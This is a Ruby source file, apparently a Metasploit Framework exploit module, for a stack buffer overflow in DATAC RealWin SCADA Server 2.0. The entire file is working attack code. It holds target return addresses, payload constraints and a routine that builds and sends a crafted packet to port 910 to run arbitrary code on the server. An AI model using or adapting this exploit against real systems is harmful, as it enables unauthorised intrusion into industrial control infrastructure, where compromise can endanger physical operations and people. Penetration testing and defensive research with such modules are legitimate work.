80 lines
1.9 KiB
Ruby
80 lines
1.9 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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module Msf
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class Exploits::Windows::Scada::RealWin < Msf::Exploit::Remote
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include Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in DATAC Control
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International RealWin SCADA Server 2.0 (Build 6.0.10.37).
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By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
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an attacker may be able to execute arbitrary code.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision:$',
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'References' =>
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[
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[ 'BID', '31418' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00\x20\x0a\x0d",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Pro SP3 English', { 'Ret' => 0x7e4926c7 } ], # 09/30/08
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Sep 26 2008'))
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register_options([Opt::RPORT(910)], self.class)
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end
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def exploit
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connect
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data = [0x67542310].pack('V')
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data << [0x00000800].pack('V')
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data << [0x000a77e3].pack('V')
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data << [0x00040005].pack('V')
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data << "\x00\x00"
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data << rand_text_alpha_upper(740)
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data << [target.ret].pack('V')
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data << [0x00404040].pack('V')
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data << payload.encoded
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data << rand_text_alpha_upper(1024)
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print_status("Trying target #{target.name}...")
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sock.get_once
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sock.put(data)
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handler
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disconnect
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end
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end
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end
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